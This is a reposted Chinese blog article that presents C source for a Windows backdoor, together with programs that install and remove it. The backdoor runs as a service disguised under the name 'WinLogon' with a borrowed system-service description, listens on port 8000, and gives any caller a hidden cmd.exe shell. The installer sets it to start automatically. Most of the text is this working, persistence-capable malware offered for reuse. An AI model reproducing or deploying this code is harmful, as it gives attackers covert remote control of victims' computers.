用服务启动后门的C程序实例(转)

软件作者:pt007[at]vip.sina.com版权所有,转载请注明版权
信息来源:邪恶八进制信息安全团队( www.eviloctal.com


1、后门服务的代码:backforservice1.c
Copy code
ExpandedBlockStart.gif ContractedBlock.gif /**/ /* 在本机开到服务端口8000,也可以换成其它的反弹型后门*/
None.gif#include 
< winsock2.h >
None.gif#include 
< windows.h >
None.gif#include 
< stdio.h >
None.gif
// 预编译指令,下面是设置连接器link中的project options,连接器选项值请参考MSDN:
ExpandedBlockStart.gifContractedBlock.gif
/**/ /*#pragma comment(linker,"/subsystem:windows /FILEALIGN:0x200 /ENTRY:main")//用来屏蔽控制台应用程序的窗口
InBlock.gif#pragma comment(linker,"/IGNORE:4078")
ExpandedBlockEnd.gif#pragma comment(linker,"/MERGE:.idata=.text /MERGE:.data=.text /MERGE:.rdata=.text /MERGE:.text=DNA32r /SECTION:DNA32r,EWR")
*/

None.gif#pragma comment(lib, 
" ws2_32.lib " // 链接到WS2_32.LIB库
None.gif
#define  MasterPort 8000  // 连接端口
None.gif
None.gif
ExpandedBlockStart.gifContractedBlock.gif
/**/
None.gif //  Declare several global variables to share 
None.gif
//  their values across multiple functions of your program.
ExpandedBlockStart.gifContractedBlock.gif
/**/
None.gif SERVICE_STATUS          ServiceStatus; 
None.gifSERVICE_STATUS_HANDLE  hStatus; 
None.gif
ExpandedBlockStart.gifContractedBlock.gif
/**/
None.gif //  Make the forward definitions of functions prototypes.
None.gif
//
ExpandedBlockStart.gifContractedBlock.gif
/**/
None.gif void   ServiceMain( int  argc,  char **  argv); 
None.gif
void   ControlHandler(DWORD request);
None.gif
void  Entrypoint();
None.gif
None.gif
None.gif
//  Control Handler
None.gif
void  ControlHandler(DWORD request) 
ExpandedBlockStart.gifContractedBlock.gif
dot.gif
InBlock.gif  
switch(request) 
ExpandedSubBlockStart.gifContractedSubBlock.gif  
dot.gif
InBlock.gif      
case SERVICE_CONTROL_STOP: 
InBlock.gif        OutputDebugString(
"Monitoring stopped.");
InBlock.gif          
//printf("Monitoring stopped.\n");
InBlock.gif

InBlock.gif        ServiceStatus.dwWin32ExitCode 
= 0
InBlock.gif        ServiceStatus.dwCurrentState 
= SERVICE_STOPPED; 
InBlock.gif        SetServiceStatus (hStatus, 
&ServiceStatus);
InBlock.gif        
return
InBlock.gif
InBlock.gif      
case SERVICE_CONTROL_SHUTDOWN: 
InBlock.gif        OutputDebugString(
"Monitoring stopped.");
InBlock.gif        
//printf("Monitoring stopped.\n");
InBlock.gif

InBlock.gif        ServiceStatus.dwWin32ExitCode 
= 0
InBlock.gif        ServiceStatus.dwCurrentState 
= SERVICE_STOPPED; 
InBlock.gif        SetServiceStatus (hStatus, 
&ServiceStatus);
InBlock.gif        
return
InBlock.gif        
InBlock.gif      
default:
InBlock.gif        
break;
ExpandedSubBlockEnd.gif    }
 
InBlock.gif
InBlock.gif    
// Report current status
InBlock.gif
    SetServiceStatus (hStatus, &ServiceStatus);
InBlock.gif
InBlock.gif    
return
ExpandedBlockEnd.gif}

None.gif
None.gif
void  ServiceMain( int  argc,  char **  argv) 
ExpandedBlockStart.gifContractedBlock.gif
dot.gif
InBlock.gif  ServiceStatus.dwServiceType 
=  SERVICE_WIN32; 
InBlock.gif  ServiceStatus.dwCurrentState 
= SERVICE_START_PENDING; 
InBlock.gif  ServiceStatus.dwControlsAccepted  
= SERVICE_ACCEPT_STOP|SERVICE_ACCEPT_SHUTDOWN;
InBlock.gif  ServiceStatus.dwWin32ExitCode 
= 0
InBlock.gif  ServiceStatus.dwServiceSpecificExitCode 
= 0
InBlock.gif  ServiceStatus.dwCheckPoint 
= 0
InBlock.gif  ServiceStatus.dwWaitHint 
= 0
InBlock.gif
InBlock.gif  hStatus 
= RegisterServiceCtrlHandler(
InBlock.gif      
"WinLogon"
InBlock.gif      (LPHANDLER_FUNCTION)ControlHandler); 
InBlock.gif  
if (hStatus == (SERVICE_STATUS_HANDLE)0
ExpandedSubBlockStart.gifContractedSubBlock.gif  
dot.gif
InBlock.gif      
// Registering Control Handler failed
InBlock.gif
      return
ExpandedSubBlockEnd.gif  }
  
InBlock.gif
InBlock.gif    
InBlock.gif  
// We report the running status to SCM. 
InBlock.gif
  ServiceStatus.dwCurrentState = SERVICE_RUNNING; 
InBlock.gif  SetServiceStatus (hStatus, 
&ServiceStatus);
InBlock.gif
InBlock.gif  Entrypoint();
InBlock.gif  
return
ExpandedBlockEnd.gif}

None.gif
None.gif
void  Entrypoint()
ExpandedBlockStart.gifContractedBlock.gif
dot.gif {
InBlock.gifWSADATA WSADa;
InBlock.gifSOCKADDR_IN SockAddrIn;
InBlock.gifSOCKET CSocket,SSocket;
InBlock.gif
int iAddrSize;
InBlock.gif
InBlock.gifPROCESS_INFORMATION ProcessInfo; 
//进程结构信息,136页
InBlock.gif
STARTUPINFO StartupInfo; //核心编程第四章20页,高级编程63页
InBlock.gif

InBlock.gif
char szCMDPath[255];
InBlock.gif
InBlock.gif
//-------------------结构清0
InBlock.gif
ZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION));
InBlock.gifZeroMemory(
&StartupInfo, sizeof(STARTUPINFO));
InBlock.gifZeroMemory(
&WSADa, sizeof(WSADATA));
InBlock.gif
//----初始化数据----
InBlock.gif
//获取cmd路径:
InBlock.gif
GetEnvironmentVariable("COMSPEC",szCMDPath,sizeof(szCMDPath));//143页
InBlock.gif
//加载ws2_32.dll,初使化winsock版本2.2:
InBlock.gif
WSAStartup(0x0202,&WSADa);//即WSAStartup(MAKEWORD(2,2),&wsaData);
InBlock.gif
InBlock.gif
//设置本地信息和绑定协议:
InBlock.gif
SockAddrIn.sin_family = AF_INET; //表示IPv4地址族
InBlock.gif
SockAddrIn.sin_addr.s_addr = INADDR_ANY; //表示任意地址
InBlock.gif
SockAddrIn.sin_port = htons(MasterPort); //端口号
InBlock.gif
CSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 00); //创建一个套接字
InBlock.gif
InBlock.gif
//绑定端口:
InBlock.gif
bind(CSocket,(SOCKADDR *)&SockAddrIn,sizeof(SockAddrIn));
InBlock.giflisten(CSocket,
1);
InBlock.gifiAddrSize 
= sizeof(SockAddrIn);
InBlock.gifSSocket 
= accept(CSocket,(SOCKADDR *)&SockAddrIn,&iAddrSize);//返回一个已连接套接字SSocket
InBlock.gif
//开始连接远程服务器:
InBlock.gif
StartupInfo.cb = sizeof(STARTUPINFO);
InBlock.gifStartupInfo.wShowWindow 
= SW_HIDE;//表示隐藏窗口
InBlock.gif
StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
InBlock.gif
//控制台输入与输出句柄指向已连接套接字SSocket:
InBlock.gif
StartupInfo.hStdInput = (HANDLE)SSocket;
InBlock.gifStartupInfo.hStdOutput 
= (HANDLE)SSocket;
InBlock.gifStartupInfo.hStdError 
= (HANDLE)SSocket;
InBlock.gif
//创建匿名管道:
InBlock.gif
CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo);
InBlock.gifWaitForSingleObject(ProcessInfo.hProcess, INFINITE);
//142页,函数准备等待到hProcess句柄标识的进程终止运行为止
InBlock.gif
CloseHandle(ProcessInfo.hProcess);//关闭进程和线程句柄
InBlock.gif
CloseHandle(ProcessInfo.hThread);
InBlock.gif
InBlock.gifclosesocket(CSocket);
//关闭这些套接字
InBlock.gif
closesocket(SSocket);
InBlock.gifWSACleanup();
//让Winsock释放所有分配的资源,并取消此应用程序挂起的Winsock调用
InBlock.gif
//关闭连接卸载ws2_32.dll
InBlock.gif
return;
ExpandedBlockEnd.gif}

None.gif
None.gif
void  main( int  argc,  char *  argv[])
ExpandedBlockStart.gifContractedBlock.gif
dot.gif
InBlock.gif  SERVICE_TABLE_ENTRY ServiceTable[
2];
InBlock.gif  ServiceTable[
0].lpServiceName = "WinLogon";
InBlock.gif  ServiceTable[
0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;
InBlock.gif
InBlock.gif  ServiceTable[
1].lpServiceName = NULL;
InBlock.gif  ServiceTable[
1].lpServiceProc = NULL;
InBlock.gif  
// Start the control dispatcher thread for our service
InBlock.gif
  StartServiceCtrlDispatcher(ServiceTable);
ExpandedBlockEnd.gif}

None.gif



2、下面是创建服务的代码:services2.c
Copy code
None.gif #include  < windows.h >
None.gif#include 
< stdio.h >
None.gif
ExpandedBlockStart.gifContractedBlock.gif
int  main( void ) dot.gif {
InBlock.gif    
char* buff;
InBlock.gif    SC_HANDLE  hSCManager,hService;
InBlock.gif    DWORD hEorr;
InBlock.gif    LPVOID Info;
InBlock.gif
InBlock.gif    Info
="为用户和服务身份验证维护此计算机和域控制器之间的安全通道。";
InBlock.gif    
//buff="c:\\Program Files\\Microsoft Visual Studio\\MyProjects\\service\\MemoryStatus\\Debug\\MemoryStatus.exe";
InBlock.gif
    buff="C:\\Program Files\\Microsoft Visual Studio\\MyProjects\\service\\Debug\\backforservice1.exe";
InBlock.gif
//第一步是打开SCM,获取句柄然后允许创建服务:
InBlock.gif
    hSCManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);//SC_MANAGER_CREATE_SERVICE);
InBlock.gif
    if (hSCManager == NULL)
ExpandedSubBlockStart.gifContractedSubBlock.gif    
dot.gif{
InBlock.gif        hEorr 
=GetLastError(); 
InBlock.gif        printf(
"Open SCManager falsedot.gif..\n",hEorr);
InBlock.gif        exit(
0);
ExpandedSubBlockEnd.gif    }

InBlock.gif
//第二步是创建服务:
InBlock.gif
    hService = CreateService(hSCManager,"WinLogon","WinLogon",SERVICE_ALL_ACCESS, SERVICE_WIN32_SHARE_PROCESS,SERVICE_AUTO_START,SERVICE_ERROR_IGNORE,buff, NULL, NULL, NULL, NULL, NULL);//SERVICE_START+DELETE
InBlock.gif
    if (hService!=NULL) 
ExpandedSubBlockStart.gifContractedSubBlock.gif    
dot.gif{    printf("Create service success!\n");
InBlock.gif          ChangeServiceConfig2(hService,SERVICE_CONFIG_DESCRIPTION,
&Info);
InBlock.gif          
//第三步是启动服务:    
InBlock.gif
            StartService(hService,0,NULL);
InBlock.gif            
ExpandedSubBlockEnd.gif        }

InBlock.gif    
else 
ExpandedSubBlockStart.gifContractedSubBlock.gif    
dot.gif{printf("Create service error!\n");
ExpandedSubBlockEnd.gif    }

InBlock.gif    CloseServiceHandle(hSCManager);
//关闭服务句柄
InBlock.gif
    CloseServiceHandle(hService);
InBlock.gif
return 0;
ExpandedBlockEnd.gif}

None.gif


3、下面是删除服务的代码:deleteservice.c
Copy code
None.gif #include  < windows.h >
None.gif#include 
< stdio.h >
None.gif
ExpandedBlockStart.gifContractedBlock.gif
int  main( void ) dot.gif {
InBlock.gif    SC_HANDLE  hSCManager,hService;
InBlock.gif    DWORD hEorr;
InBlock.gif        
InBlock.gif
InBlock.gif
//第一步是打开SCM,获取句柄然后允许打开服务:
InBlock.gif
    hSCManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);//SC_MANAGER_CREATE_SERVICE);
InBlock.gif
    if (hSCManager == NULL)
ExpandedSubBlockStart.gifContractedSubBlock.gif    
dot.gif{
InBlock.gif        hEorr 
=GetLastError(); 
InBlock.gif        printf(
"Open SCManager falsedot.gif..\n",hEorr);
InBlock.gif        exit(
0);
ExpandedSubBlockEnd.gif    }

InBlock.gif
//第二步是打开服务:
InBlock.gif
    hService = OpenService(hSCManager,"WinLogon",SERVICE_ALL_ACCESS);
InBlock.gif    
if (hService!=NULL) 
ExpandedSubBlockStart.gifContractedSubBlock.gif        
dot.gif{
InBlock.gif          
//第三步是删除指定服务:    
InBlock.gif
          if(DeleteService(hService))
InBlock.gif              printf(
"Delete service success!\n");
ExpandedSubBlockEnd.gif                  }

InBlock.gif    
else 
ExpandedSubBlockStart.gifContractedSubBlock.gif    
dot.gif{printf("Delete service error!\n");
ExpandedSubBlockEnd.gif    }

InBlock.gif    CloseServiceHandle(hSCManager);
//关闭服务句柄
InBlock.gif
        CloseServiceHandle(hService);
InBlock.gif  
return 0;
ExpandedBlockEnd.gif}

None.gif

转载于:https://www.cnblogs.com/nniixl/archive/2007/04/28/730470.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值